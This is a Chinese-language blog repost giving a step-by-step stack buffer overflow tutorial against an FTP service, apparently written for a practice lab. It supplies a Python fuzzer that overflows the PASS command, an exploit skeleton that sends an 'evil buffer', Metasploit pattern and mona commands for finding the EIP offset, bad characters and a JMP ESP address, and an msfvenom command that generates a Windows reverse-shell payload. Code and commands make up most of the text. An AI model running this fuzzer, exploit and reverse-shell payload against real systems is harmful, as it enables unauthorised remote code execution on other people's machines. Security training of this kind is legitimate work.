缓冲区溢出流程

缓冲区溢出流程缓冲区溢出流程一、ImmunityDebugger最好以管理员的身份运行Innunitydebugger通常有两种方法可以使用ImmunityDebugger来调试应用程序:确保应用

大家好,又见面了,我是你们的朋友全栈君。

缓冲区溢出流程

一、Immunity Debugger

  • 最好以管理员的身份运行Innunity debugger

  • 通常有两种方法可以使用 Immunity Debugger 来调试应用程序:

  1. 确保应用程序正在运行,打开 Immunity Debugger,然后使用File -> Attach调试器攻击正在运行的进程。
  2. 打开 Immunity Debugger,然后使用它File -> Open来运行应用程序。
  • 在 Immunity Debugger 中附加到应用程序或打开应用程序时,应用程序将被暂停。单击“运行”按钮或按 F9。

二、mona

Mona 是一个强大的 Immunity Debugger 插件,可以更轻松地利用缓出。下载::download:mona.py <../_static/files/mona.py>

最新版本可以在这里下载:https : //github.com/corelan/mona

这里找到:https : //www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

将 mona.py 文件复制到 Immunity Debugger 的 PyCommands 目录(通常位于C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands)。

在 Immunity Debugger 中,键入以下内容以设置 mona 的工作目录。

!mona config -set workingfolder c:\mona\%p

三、模糊测试

  • 可以修改以下 Python 脚本,它将发送越来越长的缓冲区字符串,最终使应用程序崩溃。
import socket, time, sys

ip = "MACHINE_IP" //目标IP
port = 21  
timeout = 5

# Create an array of increasing length buffer strings.
buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        s.send("USER username\r\n")
        s.recv(1024)

        print("Fuzzing PASS with %s bytes" % len(string))
        s.send("PASS " + string + "\r\n")
        s.recv(1024)
        s.send("QUIT\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

  • 检查 EIP 寄存器是否已被 A (\x41) 覆盖,并记下使崩溃发送的字节长度

四、控制EIP

以下python漏洞利用代码可用于缓冲区溢出漏洞利用的其余部分:

import socket

ip = "10.0.0.1"   //目标IP
port = 21

prefix = ""
offset = 0  //EIP偏移量
overflow = "A" * offset   //无意义的填充物
retn = ""     //ESP跳板
padding = ""  //nop缓冲区(至少/x90 *16)
payload = ""  //恶意代码
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

寻找EIP

  • 使用导致崩溃的缓冲区长度,生成一个唯一的缓冲区,以便我们可以确定覆盖 EIP 寄存器的模式中的偏移量,以及其他寄存器指向的模式中的偏移量。创建一个比崩溃缓冲区大 400 字节的模式,以便我们可以确定我们的 shellcode 是否可以立即适应。
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600    //应该将600修改为比缓冲区崩溃长度大400字节的数字
  • 使用 mona 的 findmsp 命令,并将距离参数设置为比缓冲区崩溃大400的数字,确定EIP偏移量
!mona findmsp -distance 600   //600应该更改
  • 或者在攻击机机器里使用下面的命令来确定EIP偏移量
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134   //后面的数字是EIP的值

五、查找坏字符

  • 使用 mona 生成字节数组,并默认排除空字节 (\x00)。请注意生成的 bytearray.bin 文件的位置

!mona bytearray -b "\x00"

  • 现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:
#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()

  • 使用 mona compare 命令引用你生成的字节数组,以及 ESP 指向的地址:
!mona compare -f C:\mona\appname\bytearray.bin -a <esp地址>  
  • 使用Ctrl + F4组合键可以查看之前找到的坏字符
  • 注意:应该逐个排除坏字符,因为前一个坏字符可能会影响到后一个,导致好的字符被误判为坏字符

六、寻找跳板(ESP)

  • 使用以下指令寻找ESP,并且确保不会出现坏字符:

!mona jmp -r esp -cpb " " //引号内的是坏字符

  • 会显示多个ESP结果,都行,记下地址,写到代码中时地址要反过来写,因为进出顺序不同

七、生成有效载荷

  • 使用 msfvenom 生成反向 shell 负载,确保排除之前发现的相同错误字符:
msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -v payload

-p 载荷类型
LHOST 本机地址
LPORT
-b 坏字符
-f 编译的语言
-v 载荷的名称
  • 注意:生成的载荷是字节类型的,放入python3脚本的时候可能需要转换成字符串类型

八、预先准备 NOP

  • 如果使用了编码器(如果存在错误字符的可能性很大,请记住在有效负载之前至少添加 16 个 NOP (\x90)。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/155791.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Oracle创建本地数据库实例及配置「建议收藏」

    Oracle创建本地数据库实例及配置「建议收藏」        因为以前一直都是用的mysql的数据库,所以当新工作中用到Oracle数据库的时候,一时还有点不习惯,特别是一直连接的远程数据库,更是麻烦,所以就想在本地创建一个Oracle的数据库,然后导入数据库的备份文件方便使用。然而看似简单的东西,真正动起手来,却也还是花了好一会儿工夫也才解决。所以希望能够把安装的过程记录下来,不仅方便自己以后查阅,也能督促自己开始写博客(3年前就有这样的想…

    2022年5月31日
    133
  • 总结:程序员的三大出路怎么写_程序员年龄大了的出路

    总结:程序员的三大出路怎么写_程序员年龄大了的出路自己也是一个程序员,整天coding,debugging,有时候也在想,真的有一天写不动了,或者公司更倾向于用年轻人做这些事,因为便宜而且有精力,那我怎么办?虽然国外也有很多老程序员,像我认识的几个德国同事,年纪一大把了,还是个软件工程师,干得还有滋有味。他们不在乎名也不在乎利,全在兴趣。可我不一样啊!国内和国外的环境也不同。时常到网上了解一些程序员的出路问题,总结起来觉得下面三条比较可行。

    2022年10月10日
    2
  • Java是什么软件-详细解答Java到底是什么「建议收藏」

    Java是什么软件-详细解答Java到底是什么「建议收藏」许多想要接触计算机编程的朋友对于开发语言没有一个系统性的概念,会问出类似于Java是什么软件?这类问题,实际上我们通常不把Java定义为软件,那么Java到底是什么?Java开发用什么软件?请容我细细道来。

    2022年7月7日
    33
  • 京东金融大数据竞赛猪脸识别(3)- 图像特征提取之二

    京东金融大数据竞赛猪脸识别(3)- 图像特征提取之二深度网络既然在图像识别方面有很高的准确率,那将某一层网络输出数据作为图像特征也应该是可行的。该程序给出了使用Alexnet第七层作为激活层提取图像特征的示例。代码如下:clear;trainPath=fullfile(pwd,’image’);trainData=imageDatastore(trainPath,…’IncludeSubfolders’,true…

    2022年6月21日
    28
  • java mybatis分页查询语句_mybatis分页查询的实现(一)[通俗易懂]

    java mybatis分页查询语句_mybatis分页查询的实现(一)[通俗易懂]一、总结了mybatis中五种不同实现分页查询的方法UserMapper.java接口文件publicinterfaceUserMapper{//分页查询publicListselectForPage1(intstartIndex,intpageSize);publicListselectForPage2(Mapmap);publicIntegerselectCount()…

    2022年6月2日
    61
  • Linux Shell循环结构

    Linux Shell循环结构fi}&donewaitecho“MissionCompleted.”*for循环语句实现文件中批量用户创建“`shell[root@hdp-1shell]#catusers_from_file.shIFS=$’\n’forlinein`cat$1`doif[${#line}-eq0];thencontinuefiuser=`echo”$line”|awk'{print$1}’`pass=`echo”$line”|a

    2022年7月24日
    10

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号